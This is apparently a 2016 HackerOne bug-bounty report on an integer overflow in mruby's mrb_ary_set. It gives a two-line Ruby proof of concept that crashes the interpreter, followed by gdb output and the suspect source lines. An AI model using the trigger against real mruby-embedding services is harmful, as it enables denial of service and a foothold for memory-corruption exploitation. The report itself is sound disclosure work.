Lucene search

K
hackeroneTunzH1:192235
HistoryDec 18, 2016 - 4:31 p.m.

shopify-scripts: Integer Overflow in mrb_ary_set

2016-12-1816:31:25
tunz
hackerone.com
$100
22

Hi,

I found a crash in mruby. I frankly couldn’t reproduce it in mruby-engine. I think it is because of memory limitation, but I’m not sure.

Here is a PoC (when the size of MRB_INT is 32).

ary = Array.new(0)
ary[0x7fffffff] = 1
$ gdb -q --args ./bin/mruby ./test.rb
Reading symbols from ./bin/mruby...done.
(gdb) r
Starting program: /home/tunz/working/mruby/mruby/bin/mruby ./test.rb

Program received signal SIGSEGV, Segmentation fault.
0x00000000004146a8 in ary_fill_with_nil (ptr=0x1357010, size=2147476218) at /home/tunz/working/mruby/mruby/src/array.c:104
104         *ptr++ = nil;
(gdb) list
99      ary_fill_with_nil(mrb_value *ptr, mrb_int size)
100     {
101       mrb_value nil = mrb_nil_value();
102
103       while (size--) {
104         *ptr++ = nil;
105       }
106     }
107
108     static void
(gdb) x/i $pc
=> 0x4146a8 <ary_fill_with_nil+50>:     mov    QWORD PTR [rcx],rax
(gdb) i r rcx
rcx            0x1357000        20279296
(gdb) bt
#0  0x00000000004146a8 in ary_fill_with_nil (ptr=0x1357010, size=2147476218) at /home/tunz/working/mruby/mruby/src/array.c:104
#1  0x0000000000415ab1 in mrb_ary_set (mrb=0x12d2010, ary=..., n=2147483647, val=...)
    at /home/tunz/working/mruby/mruby/src/array.c:564
#2  0x0000000000416266 in mrb_ary_aset (mrb=0x12d2010, self=...) at /home/tunz/working/mruby/mruby/src/array.c:798
#3  0x000000000043032c in mrb_vm_exec (mrb=0x12d2010, proc=0x12d5210, pc=0x133a020) at /home/tunz/working/mruby/mruby/src/vm.c:1171
#4  0x000000000042e850 in mrb_vm_run (mrb=0x12d2010, proc=0x12d5210, self=..., stack_keep=0)
    at /home/tunz/working/mruby/mruby/src/vm.c:772
#5  0x00000000004367f6 in mrb_top_run (mrb=0x12d2010, proc=0x12d5210, self=..., stack_keep=0)
    at /home/tunz/working/mruby/mruby/src/vm.c:2487
#6  0x0000000000446ea4 in mrb_load_exec (mrb=0x12d2010, p=0x132e2c0, c=0x132cf30)
    at /home/tunz/working/mruby/mruby/mrbgems/mruby-compiler/core/parse.y:5755
#7  0x0000000000446f3a in mrb_load_file_cxt (mrb=0x12d2010, f=0x132df00, c=0x132cf30)
    at /home/tunz/working/mruby/mruby/mrbgems/mruby-compiler/core/parse.y:5764
#8  0x00000000004024f8 in main (argc=2, argv=0x7fff6f302128)
    at /home/tunz/working/mruby/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:232

I think the root cause of this bug is the following line:

 548 MRB_API void
 549 mrb_ary_set(mrb_state *mrb, mrb_value ary, mrb_int n, mrb_value val)
 550 {
...
 562     if (a->aux.capa <= n)
 563       ary_expand_capa(mrb, a, n + 1); // <- n + 1 can be overflowed?
 564     ary_fill_with_nil(a->ptr + a->len, n + 1 - a->len);
 565     a->len = n + 1;
 566   }